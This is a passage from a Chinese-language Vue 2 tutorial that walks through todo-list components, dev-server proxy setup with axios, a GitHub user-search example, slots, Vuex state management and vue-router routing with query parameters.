      background-color: #2e5968;
    }
    
    .btn-danger:hover {
      color: #fff;
      background-color: #bd362f;
    }
    
    .btn:focus {
      outline: none;
    }
    
    .todo-container {
      width: 600px;
      margin: 0 auto;
    }
    
    .todo-container .todo-wrap {
      padding: 10px;
      border: 1px solid #ddd;
      border-radius: 5px;
    }
    </style>
    
  3. TodoHeader.vue

    <template>
      <div class="todo-header">
        <input type="text" placeholder="请输入您的任务,按回车键确认" v-model.trim="description" @keyup.enter="addItem"/>
      </div>
    </template>
    
    <script>
    import {nanoid} from "nanoid";
    
    export default {
      name: "TodoHeader",
      data() {
        return {
          description: ''
        }
      },
      methods: {
        addItem() {
          if (!this.description) {
            return alert("添加项目不能为空!");
          }
          // 全局事件总线:触发 App 组件中的自定义事件实现消息通信(子 => 父)
          this.$emit('addTodoItem', {id: nanoid(), description: this.description, completed: false});
          this.description = '';
        }
      }
    }
    </script>
    
    <style scoped>
    .todo-header input {
      width: 560px;
      height: 28px;
      font-size: 14px;
      border: 1px solid #ccc;
      border-radius: 4px;
      padding: 4px 7px;
    }
    
    .todo-header input:focus {
      outline: none;
      border-color: rgba(82, 168, 236, 0.8);
      box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
    }
    </style>
    
  4. TodoList.vue

    <template>
      <ul class="todo-main">
        <!-- 多个元素过渡 -->
        <transition-group name="todo" appear>
          <TodoListItem v-for="todo in todos" :todo="todo" :key="todo.id"/>
        </transition-group>
      </ul>
    </template>
    
    <script>
    import TodoListItem from "@/components/TodoItem";
    
    export default {
      name: "TodoList",
      components: {TodoListItem},
      props: ['todos']
    }
    </script>
    
    <style scoped>
    .todo-main {
      margin-left: 0px;
      border: 1px solid #ddd;
      border-radius: 2px;
      padding: 0px;
    }
    
    .todo-empty {
      height: 40px;
      line-height: 40px;
      border: 1px solid #ddd;
      border-radius: 2px;
      padding-left: 5px;
      margin-top: 10px;
    }
    
    .todo-enter, .todo-leave-to {
      transform: translateX(100%);
    }
    
    .todo-enter-active, .todo-leave-active {
      transition: 0.3s linear;
    }
    
    .todo-leave, .todo-enter-to {
      transform: translateX(0);
    }
    </style>
    
  5. TodoItem.vue

    <template>
      <li>
        <label>
          <!-- 选中状态 -->
          <input type="checkbox" :checked="todo.completed" @change="changeItemStatus(todo.id)"/>&nbsp;
          <!-- 内容 -->
          <span v-show="!todo.isEdit">{{ todo.description }}</span>
          <!-- 编辑输入框 -->
          <input type="text" :value="todo.description" v-show="todo.isEdit" @blur="handleBlur($event, todo)" ref="updateInputEle">
        </label>
        <!-- 删除与编辑 -->
        <button class="btn btn-danger" @click="deleteItem(todo.id)">删除</button>
        <button class="btn btn-info" @click="editItem(todo)" v-show="!todo.isEdit">编辑</button>
      </li>
    </template>
    
    <script>
    export default {
      name: "TodoListItem",
      props: ['todo'],
      methods: {
        deleteItem(id) {
          // 触发全局事件总线实现消息通信(孙 => 爷)
          this.$bus.$emit('deleteTodoItem', id)
        },
        changeItemStatus(id) {
          // 触发全局事件总线实现消息通信(孙 => 爷)
          this.$bus.$emit('changeTodoItemStatus', id)
        },
        editItem(todo) {
          if (todo.hasOwnProperty('isEdit')) {
            todo.isEdit = true
          } else {
            this.$set(todo, 'isEdit', true)
          }
          // $nextTick 指定的回调函数会在 DOM 节点更新之后再执行
          this.$nextTick(function () {
            this.$refs.updateInputEle.focus()
          });
        },
        handleBlur(e, todo) {
          if (e.target.value.trim()) {
            // 触发全局事件总线实现消息通信(孙 => 爷)
            this.$bus.$emit('updateTodoItem', todo.id, e.target.value)
          }
          todo.isEdit = false
        }
      }
    }
    </script>
    
    <style scoped>
    li {
      list-style: none;
      height: 36px;
      line-height: 36px;
      padding: 0 5px;
      border-bottom: 1px solid #ddd;
    }
    
    li label {
      float: left;
      cursor: pointer;
    }
    
    li label li input {
      vertical-align: middle;
      margin-right: 6px;
      position: relative;
      top: -1px;
    }
    
    li button {
      float: right;
      display: none;
      margin-top: 3px;
    }
    
    li:before {
      content: initial;
    }
    
    li:last-child {
      border-bottom: none;
    }
    
    li:hover {
      background-color: gray;
    }
    
    li:hover button {
      display: block;
    }
    </style>
    
  6. TodoFooter.vue

    <template>
      <div class="todo-footer" v-show="todos.length">
        <!-- 选中全部 -->
        <label><input type="checkbox" @change="checkAll" :checked="todos.length === completedTotal && todos.length > 0"/></label>
        <span>
          <span>已完成 {{ completedTotal }}</span> / 全部 {{ todos.length }}
        </span>
        <button class="btn btn-danger" @click="clearCompleted">清除已完成</button>
      </div>
    </template>
    
    <script>
    export default {
      name: "TodoFooter",
      props: ['todos'],
      computed: {
        completedTotal() {
          return this.todos.reduce((pre, cur) => {
            return pre + (cur.completed ? 1 : 0)
          }, 0);
        }
      },
      methods: {
        checkAll(e) {
          // 触发 App 组件中的自定义事件实现消息通信(子 => 父)
          this.$emit('checkAllItems', e.target.checked)
        },
        clearCompleted() {
          // 触发 App 组件中的自定义事件实现消息通信(子 => 父)
          this.$emit('clearCompletedItems');
        }
      }
    }
    </script>
    
    <style scoped>
    .todo-footer {
      height: 40px;
      line-height: 40px;
      padding-left: 6px;
      margin-top: 5px;
    }
    
    .todo-footer label {
      display: inline-block;
      margin-right: 20px;
      cursor: pointer;
    }
    
    .todo-footer label input {
      position: relative;
      top: -1px;
      vertical-align: middle;
      margin-right: 5px;
    }
    
    .todo-footer button {
      float: right;
      margin-top: 5px;
    }
    </style>
    

3.14 配置代理

安装 axios 请求库:npm i axios

  1. 单台服务器代理配置:

    • vue.config.js 中配置代理信息

      const {defineConfig} = require('@vue/cli-service')
      module.exports = defineConfig({
          transpileDependencies: true,
          // 关闭语法检查
          lintOnSave: false,
          // 配置代理
          devServer: {
              proxy: 'http://localhost:5000'
          }
      })
      
    • axios 请求库向代理服务器发起请求,由代理服务器向真实服务器发请求

      <template>
        <button @click="getStudents">获取学生数据</button>
      </template>
      
      <script>
      import axios from 'axios'
      
      export default {
        name: "App",
        methods: {
          getStudents() {
            // 请求代理服务器,由代理服务器发起请求
            axios.get('http://localhost:8080/students').then(
                response => {
                  console.log('请求成功', response.data)
                },
                error => {
                  console.log('请求失败', error.message)
                }
            )
          }
        }
      }
      </script>
      
  2. 多台服务器代理配置:

    • vue.config.js 中依次配置多台服务器代理

      const {defineConfig} = require('@vue/cli-service')
      module.exports = defineConfig({
          transpileDependencies: true,
          // 关闭语法检查
          lintOnSave: false,
          // 配置代理
          devServer: {
              proxy: {
                  '/stu': {
                      target: 'http://localhost:5000',
                      // 重写请求路径
                      pathRewrite: {'^/stu': ''},
                      // WebSocket,默认为 true
                      ws: true,
                      // true 时修改请求头中的 HOST 为 target 中的值,默认为 true
                      changeOrigin: true
                  },
                  '/car': {
                      target: 'http://localhost:5001',
                      pathRewrite: {'^/car': ''}
                  }
              }
          }
      })
      
    • axios 请求库根据需求向代理服务器发起不同的路径请求,由代理服务器向真实服务器发请求

      <template>
        <div>
          <button @click="getStudents">获取学生数据</button>
          <button @click="getCars">获取汽车数据</button>
        </div>
      </template>
      
      <script>
      import axios from 'axios'
      
      export default {
        name: "App",
        methods: {
          getStudents() {
            // 请求代理服务器
            axios.get('http://localhost:8080/stu/students').then(
                response => {
                  console.log('请求成功', response.data)
                },
                error => {
                  console.log('请求失败', error.message)
                }
            )
          },
          // 请求代理服务器
          getCars() {
            axios.get('http://localhost:8080/car/cars').then(
                response => {
                  console.log('请求成功', response.data)
                },
                error => {
                  console.log('请求失败', error.message)
                }
            )
          }
        }
      }
      </script>
      
  3. 使用 vue-resource 插件代替 axios 请求库:

    安装 vue-resource 插件:npm i vue-resource

    • main.js:引入并使用插件

      import Vue from "vue";
      import App from './App.vue';
      import VueResource from 'vue-resource'
      
      Vue.config.productionTip = false
      // 使用 vue-resource 插件
      Vue.use(VueResource)
      
      new Vue({
          el: '#app',
          render: h => h(App)
      })
      
    • this.$http.get:发起请求,获取响应

      <template>
        <button @click="getStudents">获取学生数据</button>
      </template>
      
      <script>
      
      export default {
        name: "App",
        methods: {
          getStudents() {
            // 使用 this.$http.get 发起请求
            this.$http.get('http://localhost:8080/students').then(
                response => {
                  console.log('请求成功', response.data)
                },
                error => {
                  console.log('请求失败', error.message)
                }
            )
          }
        }
      }
      </script>
      

3.15 GitHub 案例

需在 public 目录中的 index.html 中引入 bootstrap.css

用到的知识点:

  1. 全局事件总线
  2. axios 请求库
  1. main.js:装配全局事件总线

    import Vue from "vue";
    import App from './App.vue'
    
    Vue.config.productionTip = false
    
    new Vue({
        el: '#app',
        render: h => h(App),
        beforeCreate() {
            // 装配全局事件总线
            Vue.prototype.$bus = this
        }
    })
    
  2. App.vue:引入并使用其它组件

    <template>
      <div class="container">
        <Search/>
        <List/>
      </div>
    </template>
    
    <script>
    import Search from "@/components/Search";
    import List from "@/components/List";
    
    export default {
      name: "App",
      components: {List, Search}
    }
    </script>
    
  3. Search.vue:发起请求,获取响应,通过全局事件总线传递数据

    <template>
      <section class="jumbotron">
        <h3 class="jumbotron-heading">GitHub Users Search</h3>
        <div>
          <input v-model="keyWord" type="text" placeholder="enter the username you want to search"/>&nbsp;
          <button @click="searchUsers">Search</button>
        </div>
      </section>
    </template>
    
    <script>
    import axios from 'axios'
    
    export default {
      name: "Search",
      data() {
        return {
          'keyWord': ''
        }
      },
      methods: {
        searchUsers() {
          // 加载中···
          this.$bus.$emit('getUserInfo', {isFirst: false, isLoading: true, errorMsg: '', users: []})
          // 发起请求,获取响应
          axios.get(`https://api.github.com/search/users?q=${this.keyWord}`).then(
              response => {
                this.$bus.$emit('getUserInfo', {isFirst: false, isLoading: false, errorMsg: '', users: response.data.items})
              },
              error => {
                this.$bus.$emit('getUserInfo', {isFirst: false, isLoading: false, errorMsg: error.message, users: []})
              }
          )
        }
      }
    }
    </script>
    
  4. List.vue:通过全局事件总线接收数据并解析展示

    <template>
      <div class="row">
        <div class="card" v-for="user in info.users" :key="user.id" v-show="info.users.length">
          <a :href="user.html_url" target="_blank"><img :src="user.avatar_url" alt="user's avatar" style='width: 100px'/></a>
          <p class="card-text">{{ user.login }}</p>
        </div>
        <h1 v-show="info.isFirst">欢迎使用 Github 用户搜索</h1>
        <h1 v-show="info.isLoading">Loading···</h1>
        <h1 v-show="info.errorMsg">{{ info.errorMsg }}</h1>
      </div>
    </template>
    
    <script>
    export default {
      name: "List",
      data() {
        return {
          info: {
            isFirst: true,
            isLoading: false,
            errorMsg: '',
            users: []
          }
        }
      },
      mounted() {
        this.$bus.$on('getUserInfo', (info) => {
          // 字面量对比更新
          this.info = {...this.info, ...info}
        });
      },
      beforeDestroy() {
        this.$bus.$off('getUserInfo')
      }
    }
    </script>
    
    <style scoped>
    .card {
      float: left;
      width: 33.333%;
      padding: .75rem;
      margin-bottom: 2rem;
      border: 1px solid #efefef;
      text-align: center;
    }
    
    .card > img {
      margin-bottom: .75rem;
      border-radius: 50%;
    }
    
    .card-text {
      font-size: 85%;
    }
    </style>
    

3.16 slot 插槽(组件通信)

插槽(Slot)是 Vue 提出来的一个概念,正如其名字一样,插槽用于决定将所携带的内容插入到指定的某个位置,从而使模板分块。插槽显不显示、怎样显示是由父组件来控制的,而插槽在哪里显示由子组件来进行控制。插槽可以让父组件可以向子组件指定位置插入 HTML 结构,也是一种组件间的通信方式,适用于 父组件 -> 子组件

  1. 默认插槽:父组件定义插槽,子组件中使用 slot 标签使用插槽

    • App.vue:往子组件的标签体中定义插槽需要显示的内容

      <template>
        <div class="container">
          <Category title="美食">
            <img src="https://whut.springbear2020.cn/static/img/WHUT.png" alt="WHUT">
          </Category>
          
          <Category title="游戏">
            <ul>
              <li v-for="(movie, index) in movies" :key="index">{{ movie }}</li>
            </ul>
          </Category>
          
          <Category title="电影">
            <video controls src="https://whut.springbear2020.cn/static/img/WHUT.png"></video>
          </Category>
        </div>
      </template>
      
      <script>
      import Category from "@/components/Category";
      
      export default {
        name: "App",
        components: {Category},
        data() {
          return {
            foods: ['火锅', '早茶', '烤鸭'],
            games: ['原神', '崩坏3', '守望先锋', '王者荣耀', '和平精英'],
            movies: ['肖申克的救赎', '美丽人生', '我们的父辈', '阿甘正传', '这个杀手不太冷']
          }
        }
      }
      </script>
      
      <style>
      .container {
        display: flex;
        justify-content: space-around;
      }
      
      h3 {
        text-align: center;
        background-color: orange;
      }
      </style>
      
    • Category.vue:使用 slot 标签显示父组件定义的插槽内容

      <template>
        <div class="category">
          <h3>{{ title }}</h3>
          <!-- 默认插槽,显示父组件在 Category 组件体中定义的内容 -->
          <slot>default value</slot>
        </div>
      </template>
      
      <script>
      export default {
        name: "Category",
        props: ['title']
      }
      </script>
      
      <style scoped>
      .category {
        background-color: skyblue;
        width: 200px;
        height: 300px;
      }
      
      img {
        width: 100%;
      }
      
      video {
        width: 100%;
      }
      </style>
      
  2. 具名插槽:顾名思义,就是有名字的插槽

    • App.vue:在标签的属性上使用 slot 属性指定当前标签属于哪个插槽

      <template>
        <div class="container">
          <Category title="美食">
            <!-- 使用 slot 属性指定具体的插槽 -->
            <img slot="first" src="https://whut.springbear2020.cn/static/img/WHUT.png" alt="WHUT">
            <div slot="second" class="container">
              <a href="https://bilibili.com">B 大学</a>
            </div>
          </Category>
      
          <Category title="游戏">
            <ul slot="first">
              <li v-for="(movie, index) in movies" :key="index">{{ movie }}</li>
            </ul>
            <!-- 复用同一个插槽 -->
            <div slot="second" class="container">
              <a href="https://baidu.com">百度</a>
              <a href="https://google.com">谷歌</a>
            </div>
          </Category>
      
          <Category title="电影">
            <video slot="first" controls src="https://whut.springbear2020.cn/static/img/WHUT.png"></video>
            <!-- 只能在 template 标签中使用 v-slot:second,等价于 slot="second" -->
            <template v-slot:second>
              <div class="container">
                <a href="https://baidu.com">经典</a>
                <a href="https://baidu.com">热门</a>
                <a href="https://baidu.com">推荐</a>
              </div>
              <h4>前往购票</h4>
            </template>
          </Category>
        </div>
      </template>
      
      <script>
      import Category from "@/components/Category";
      
      export default {
        name: "App",
        components: {Category},
        data() {
          return {
            foods: ['火锅', '早茶', '烤鸭'],
            games: ['原神', '崩坏3', '守望先锋', '王者荣耀', '和平精英'],
            movies: ['肖申克的救赎', '美丽人生', '我们的父辈', '阿甘正传', '这个杀手不太冷']
          }
        }
      }
      </script>
      
      <style>
      .container {
        display: flex;
        justify-content: space-around;
      }
      
      h3 {
        text-align: center;
        background-color: orange;
      }
      
      h4 {
        text-align: center;
      }
      </style>
      
    • Category.vue:使用 slot 标签的 name 属性值指定使用的具体插槽

      <template>
        <div class="category">
          <h3>{{ title }}</h3>
          <!-- 具名插槽 -->
          <slot name="first">default value</slot>
          <slot name="second">default value</slot>
        </div>
      </template>
      
      <script>
      export default {
        name: "Category",
        props: ['title']
      }
      </script>
      
      <style scoped>
      .category {
        background-color: skyblue;
        width: 200px;
        height: 300px;
      }
      
      img {
        width: 100%;
      }
      
      video {
        width: 100%;
      }
      </style>
      
  3. 作用域插槽:作用域插槽就是带参数(数据)的插槽,强调的则是数据作用的范围。在子组件的插槽中带入参数(数据)提供给父组件使用,该参数(数据)仅在插槽内有效,父组件可以根据子组件中传过来的插槽参数(数据)对展示内容进行定制

    • App.vue:在 template 标签上使用 scopeslot-scope 属性接收来自子组件(插槽使用者)传递的数据

      <template>
        <div class="container">
          <Category title="电影">
            <!-- 接收子组件传递的数据(方式一) -->
            <template scope="data">
              <h4>{{ data.msg }}</h4>
              <ul>
                <li v-for="(movie, index) in data.movies" :key="index">{{ movie }}</li>
              </ul>
            </template>
          </Category>
      
          <Category title="电影">
            <!-- 接收子组件传递的数据(方式二) -->
            <template slot-scope="{movies, msg}">
              <!-- scope="{movies, msg}" <=> slot-scope="{movies, msg} -->
              <h4>{{ msg }}</h4>
              <ol>
                <li v-for="(movie, index) in movies" :key="index">{{ movie }}</li>
              </ol>
            </template>
          </Category>
        </div>
      </template>
      
      <script>
      import Category from "@/components/Category";
      
      export default {
        name: "App",
        components: {Category}
      }
      </script>
      
      <style>
      .container {
        display: flex;
        justify-content: space-around;
      }
      
      h4 {
        text-align: center;
      }
      </style>
      
    • Category.vue:给父组件(插槽定义者)传递数据

      <template>
        <div class="category">
          <h3>{{ title }}</h3>
          <!-- 作用域插槽:给插槽定义者传递数据 -->
          <slot :movies="movies" :msg="'快来购票观影吧'">default value</slot>
        </div>
      </template>
      
      <script>
      export default {
        name: "Category",
        props: ['title'],
        data() {
          return {
            movies: ['肖申克的救赎', '美丽人生', '我们的父辈', '阿甘正传', '这个杀手不太冷']
          }
        }
      }
      </script>
      
      <style scoped>
      .category {
        background-color: skyblue;
        width: 200px;
        height: 300px;
      }
      
      h3 {
        text-align: center;
        background-color: orange;
      }
      </style>
      

四、vuex 插件

4.1 概述(组件通信)

  1. 定义:Vuex 是专门在 Vue 中实现集中式状态(数据)管理的一个 Vue 插件,对 Vue 应用中多个组件的共享状态进行集中式管理,是一种适用于任意组件间通信的方式

  2. Vuex 工作原理图:其中 Actions、Mutations、State 称为 Store

    在这里插入图片描述

4.2 搭建 Vuex 环境

Vue2 中安装 Vuex3:npm i vuex@3

  1. src/store/index.js:配置 Vuex 的核心 Store

    import Vuex from 'vuex'
    import Vue from "vue";
    
    // 必须先使用 Vuex 插件才能创建 Store 实例
    Vue.use(Vuex)
    
    // 响应组件的动作
    const actions = {}
    // 操作数据 state
    const mutations = {}
    // 存储数据
    const state = {}
    // 加工数据 state
    const getters = {}
    
    export default new Vuex.Store({
        actions,
        mutations,
        state,
        getters
    })
    
  2. main.js:引入为 Vuex 配置的 Store 并配置:

    import Vue from "vue";
    import App from './App.vue';
    import store from './store/index'
    
    Vue.config.productionTip = false
    
    new Vue({
        el: '#app',
        render: h => h(App),
        // vuex 的核心配置
        store: store
    })
    

4.3 求和案例

  1. main.js:引入为 Vuex 配置的 Store 并配置:

    import Vue from "vue";
    import App from './App.vue';
    import store from './store/index'
    
    Vue.config.productionTip = false
    
    new Vue({
        el: '#app',
        render: h => h(App),
        // vuex 的核心配置
        store: store
    })
    
  2. src/store/index.js:配置 Vuex 的核心 Store

    import Vuex from 'vuex'
    import Vue from "vue";
    
    // 必须先使用 Vuex 插件才能创建 Store 实例
    Vue.use(Vuex)
    
    // 响应组件中的动作
    const actions = {
        jiaOdd(context, val) {
            if (context.state.sum % 2 === 1) {
                context.commit('JIA', val)
            }
        },
        jiaWait(context, val) {
            setTimeout(() => {
                context.commit('JIA', val)
            }, 1000);
        }
    }
    // 操作数据
    const mutations = {
        JIA(state, val) {
            state.sum += val
        },
        JIAN(state, val) {
            state.sum -= val
        }
    }
    // 存储数据
    const state = {
        sum: 0
    }
    
    // 加工 state 中的数据
    const getters = {
        enlarge(state) {
            return state.sum * 10
        }
    }
    
    export default new Vuex.Store({
        actions,
        mutations,
        state,
        getters
    })
    
  3. Count.vue:通过 this.$store.dispath()this.$store.commit() 将组件中的动作分别分发给 Actions 处理业务逻辑、Mutations 操作数据

    <template>
      <div>
        <h1>当前求和结果:{{ $store.state.sum }}</h1>
        <h1>数据处理结果:{{ $store.getters.enlarge }}</h1>
        <select v-model.number="n">
          <option value="1">1</option>
          <option value="2">2</option>
          <option value="3">3</option>
          <option value="4">4</option>
          <option value="5">5</option>
        </select>
        <button @click="add">+</button>
        <button @click="sub">-</button>
        <button @click="addOdd">当前求和为奇数时加</button>
        <button @click="addWait">等一会再加</button>
      </div>
    </template>
    
    <script>
    export default {
      name: "Count",
      data() {
        return {
          n: 1
        }
      },
      methods: {
        add() {
          // 直接提交给 Mutations 处理数据
          this.$store.commit('JIA', this.n)
        },
        sub() {
          this.$store.commit('JIAN', this.n)
        },
        addOdd() {
          // 分发给 Actions 处理业务逻辑
          this.$store.dispatch('jiaOdd', this.n)
        },
        addWait() {
          this.$store.dispatch('jiaWait', this.n)
        }
      }
    }
    </script>
    
    <style scoped>
    button {
      margin: 5px;
    }
    </style>
    

4.4 vuex 中的四种 map

  1. mapStatemapGetters:将 Store 中的 state 和 getters 映射为 computed 计算属性
  2. mapMutationsmapActions:将 Store 中的 mutations 和 actions 映射为 methods 方法
<template>
  <div>
    <h1>当前求和结果:{{ sum }}</h1>
    <h1>数据处理结果:{{ enlarge }}</h1>
    <button @click="add(n)">+</button>
    <button @click="sub(n)">-</button>
    <button @click="addOdd(n)">当前求和为奇数时加</button>
    <button @click="addWait(n)">等一会再加</button>
    <hr/>
    <h1>{{ school }}</h1>
    <h1>{{ address }}</h1>
  </div>
</template>

<script>
import {mapState, mapGetters, mapActions, mapMutations} from 'vuex'

export default {
  name: "Count",
  data() {
    return {
      n: 1
    }
  },
  computed: {
    /*
     * 方式一(对象式)
     * ...mapState({sum: 'sum', school: 'school', address: 'address'})
     * 方式二(数组式):当 state 中数据 key 与计算属性的函数名相同时,可使用数组简写法
     * ...mapState(['sum', 'school', 'address'])
     * 
     * 注:mapGetters、mapMutations、mapActions 同理
     */
    // 将 state 映射为计算属性
    ...mapState(['sum', 'school', 'address']),
    // 将 getters 映射为计算属性
    ...mapGetters(['enlarge'])
  },
  methods: {
    // 用于生成与 Mutations 对话的方法
    ...mapMutations({add: 'JIA', sub: 'JIAN'}),
    // 用于生成与 Actions 对话的方法
    ...mapActions({addOdd: 'jiaOdd', addWait: 'jiaWait'})
  },
}
</script>

4.5 vuex 模块化

  1. main.js:引入为 Vuex 配置的 Store 并配置:

    import Vue from "vue";
    import App from './App.vue';
    import store from './store/index'
    
    Vue.config.productionTip = false
    
    new Vue({
        el: '#app',
        render: h => h(App),
        store: store
    })
    
  2. src/store/index.js:引入其它模块化配置

    import Vuex from 'vuex'
    import Vue from "vue"
    import countConfig from "@/store/countConfig";
    import personConfig from "@/store/personConfig";
    
    Vue.use(Vuex)
    
    export default new Vuex.Store({
        modules: {
            countStore: countConfig,
            personStore: personConfig
        }
    })
    
  3. src/store/*.js:各种模块化的 Store 配置

    • src/store/countConfig.js

      export default {
          namespaced: true,
          actions: {
              jiaOdd(context, val) {
                  if (context.state.sum % 2 === 1) {
                      context.commit('JIA', val)
                  }
              },
              jiaWait(context, val) {
                  setTimeout(() => {
                      context.commit('JIA', val)
                  }, 1000);
              }
          },
          mutations: {
              JIA(state, val) {
                  state.sum += val
              },
              JIAN(state, val) {
                  state.sum -= val
              }
          },
          state: {
              sum: 0
          },
          getters: {
              enlarge(state) {
                  return state.sum * 10
              }
          }
      }
      
    • src/store/personConfig.js

      export default {
          namespaced: true,
          actions: {
              addPersonLi(context, value) {
                  if (value.name.indexOf('李') === 0) {
                      context.commit('ADD_PERSON', value)
                  } else {
                      alert(value.name + '不姓李')
                  }
              }
          },
          mutations: {
              ADD_PERSON(state, value) {
                  state.persons.unshift(value)
              }
          },
          state: {
              persons: [
                  {id: 1, name: 'bear'}
              ]
          },
          getters: {
              firstPersonName(state) {
                  return state.persons[0].name
              }
          }
      }
      
  4. src/component/*.vue:在各种组件中通过对应的 store 访问和操作数据

    • Person.vue

      <template>
        <div>
          <input type="text" v-model="name">&nbsp;
          <button @click="addPerson">添加</button>&nbsp;
          <button @click="addPersonWang">添加一个姓李的人</button>
          <h2>第一个人的姓名:{{ first }}</h2>
          <ol>
            <li v-for="person in persons" :key="person.id">{{ person.name }}</li>
          </ol>
          <h2 style="color: red">结果:{{ sum }}</h2>
        </div>
      </template>
      
      <script>
      import {nanoid} from 'nanoid'
      
      export default {
        name: "Person",
        data() {
          return {
            name: ''
          }
        },
        computed: {
          sum() {
            return this.$store.state.countStore.sum
          },
          persons() {
            return this.$store.state.personStore.persons
          },
          first() {
            return this.$store.getters['personStore/firstPersonName']
          }
        },
        methods: {
          addPerson() {
            const obj = {id: nanoid(), name: this.name}
            this.$store.commit('personStore/ADD_PERSON', obj)
            this.name = ''
          },
          addPersonWang() {
            const obj = {id: nanoid(), name: this.name}
            this.$store.dispatch('personStore/addPersonLi', obj)
            this.name = ''
          }
        }
      }
      </script>
      
      <style scoped>
      
      </style>
      
    • Count.vue

      <template>
        <div>
          <h1>求和:{{ sum }}</h1>
          <h1>十倍:{{ enlarge }}</h1>
          <select v-model.number="n">
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
          </select>
          <button @click="add(n)">+</button>
          <button @click="sub(n)">-</button>
          <button @click="addOdd(n)">当前求和为奇数时加</button>
          <button @click="addWait(n)">等一会再加</button>
          <h2 style="color: red">Person 总人数:{{ persons.length }}</h2>
        </div>
      </template>
      
      <script>
      import {mapState, mapGetters, mapActions, mapMutations} from 'vuex'
      
      export default {
        name: "Count",
        data() {
          return {
            n: 1
          }
        },
        methods: {
          ...mapMutations('countStore', {add: 'JIA', sub: 'JIAN'}),
          ...mapActions('countStore', {addOdd: 'jiaOdd', addWait: 'jiaWait'})
        },
        computed: {
          ...mapState('countStore', {sum: 'sum'}),
          ...mapGetters('countStore', ['enlarge']),
          ...mapState('personStore', ['persons'])
        },
      }
      </script>
      
      <style scoped>
      button {
        margin: 5px;
      }
      </style>
      
  5. App.vue

    <template>
      <div>
        <Count></Count>
        <Person></Person>
      </div>
    </template>
    
    <script>
    import Count from "@/components/Count";
    import Person from "@/components/Person";
    
    export default {
      name: 'App',
      components: {Person, Count}
    }
    </script>
    

五、vue-router 插件

5.1 概述

  1. 定义:vue-router 是 vue 的一个插件库,专门用来实现 SPA(Simple Page web Application)单页应用
  2. 路由使用的注意事项:
    • 路由组件通常放在 pages 文件夹,一般组件通常放在 components 文件夹
    • 通过切换隐藏的路由组件,默认立即销毁,需要展示时再挂载
    • 每个组件都有自己的 $route 属性,其中存储着自己的路由信息
    • 整个应用只有一个 router,可以通过组件的 $router 获取

5.2 路由基本使用

Vue2 中安装 vue-router3:npm i vue-router@3

注:需在 public 目录下的 index.html 中引入 bootstrap.css

  1. main.js:引入路由插件并进行配置

    import Vue from "vue";
    import App from './App.vue';
    import VueRouter from 'vue-router'
    import router from './router/index'
    
    Vue.config.productionTip = false
    
    Vue.use(VueRouter)
    
    new Vue({
        el: '#app',
        render: h => h(App),
        // 配置路由器
        router: router
    })
    
  2. src/router/index.js:配置路由插件

    import VueRouter from 'vue-router'
    import About from "@/pages/About";
    import Home from "@/pages/Home";
    
    export default new VueRouter({
        routes: [
            {
                path: '/about', 
                component: About
            },
            {
                path: '/home', 
                component: Home
            }
        ]
    })
    
  3. src/pages/*.vue:各种路由组件

    • src/pages/Home.vue

      <template>
        <h2>我是 Home 的内容</h2>
      </template>
      
      <script>
      export default {
        name: "Home"
      }
      </script>
      
    • src/pagse/About.vue

      <template>
        <h2>我是 About 的内容</h2>
      </template>
      
      <script>
      export default {
        name: "About"
      }
      </script>
      
  4. App.vuerouter-link 标签实现路由组件页面切换,router-view 标签实现组件页面展示

    <template>
      <div>
        <div class="row">
          <div class="col-xs-offset-2 col-xs-8">
            <div class="page-header"><h2>Vue Router Demo</h2></div>
          </div>
        </div>
        <div class="row">
          <div class="col-xs-2 col-xs-offset-2">
            <div class="list-group">
              <!-- 路由实现 SPA 应用页面切换 -->
              <router-link active-class="active" class="list-group-item" to="/home">Home</router-link>
              <router-link active-class="active" class="list-group-item" to="/about">About</router-link>
            </div>
          </div>
          <div class="col-xs-6">
            <div class="panel">
              <div class="panel-body">
                <!-- 展示路由组件 -->
                <router-view></router-view>
              </div>
            </div>
          </div>
        </div>
      </div>
    </template>
    
    <script>
    export default {
      name: "App"
    }
    </script>
    

5.3 嵌套与命名路由

  1. 嵌套路由:通过 children 配置项在当前路由路径下配置子路由路径

    export default new VueRouter({
        routes: [
            {
                // 命名路由
                name: 'zhuye',
                path: '/home',
                component: Home,
                // 嵌套路由配置
                children: [
                    {
                        name: 'xinwen',
                        path: 'news',
                        component: News
                    },
                    {
                        name: 'xiaoxi',
                        path: 'message',
                        component: Message
                    }
                ]
            },
            {
                path: '/about',
                component: About
            }
        ]
    })
    
  2. 命名路由:使用路由配置的 name 配置项为当前路由路径指定别名以简化路由路径的书写

    <!-- 简化前:需要书写路由完整路径 -->
    <route-link to="/home/message">消息</route-link>
    
    <!-- 简化后:通过路由别名简化路径 -->
    <route-link :to="{name: 'xiaoxi'}">消息</route-link>
    

5.4 路由参数

  1. 路由的 query 参数:用于在路由路径后传递参数(key=val&key=val

    • src/router/index.js:配置嵌套路由

      import VueRouter from 'vue-router'
      import About from "@/pages/About";
      import Home from "@/pages/Home";
      import Message from "@/pages/Message";
      import News from "@/pages/News";
      import Detail from "@/pages/Detail";
      
      export default new VueRouter({
          routes: [
              {
                  path: '/about',
                  component: About
              },
              {
                  path: '/home',
                  component: Home,
                  children: [
                      {
                          path: 'message',
                          component: Message,
                          children: [
                              {
                                  path: 'detail',
                                  component: Detail
                              }
                          ]
                      },
                      {
                          path: 'news',
                          component: News
                      }
                  ]
              }
          ]
      })
      
    • src/pages/Home.vue:可路由到 News.vueMessage.vue

      <template>
        <div>
          <h2>Home 组件内容</h2>
          <div>
            <ul class="nav nav-tabs">
              <li>
                <router-link class="list-group-item" active-class="active" to="/home/news">News</router-link>
              </li>
              <li>
                <router-link class="list-group-item" active-class="active" to="/home/message">Message</router-link>
              </li>
            </ul>
            <router-view></router-view>
          </div>
        </div>
      </template>
      
      <script>
      export default {
        name: "Home"
      }
      </script>
      
    • src/pages/Message.vue:点击消息项可展示详情组件 Detail.vue

      <template>
        <div>
          <ul>
            <li v-for="m in messages" :key="m.id">
              <!-- 方式一:数据绑定 + 模板字符串 -->
              <router-link :to="`/home/message/detail?id=${m.id}&title=${m.title}`">{{ m.title }}</router-link>
              <!-- 方式二:to 的对象写法 -->
              <!--
              <router-link
                  :to="{ path: '/home/message/detail',query: {id: m.id,title: m.title }}">
                {{ m.title }}
              </router-link>
              -->
            </li>
          </ul>
          <hr/>
          <router-view></router-view>
        </div>
      </template>
      
      <script>
      export default {
        name: "Message",
        data() {
          return {
            messages: [
              {id: 1, title: 'm1'},
              {id: 2, title: 'm2'},
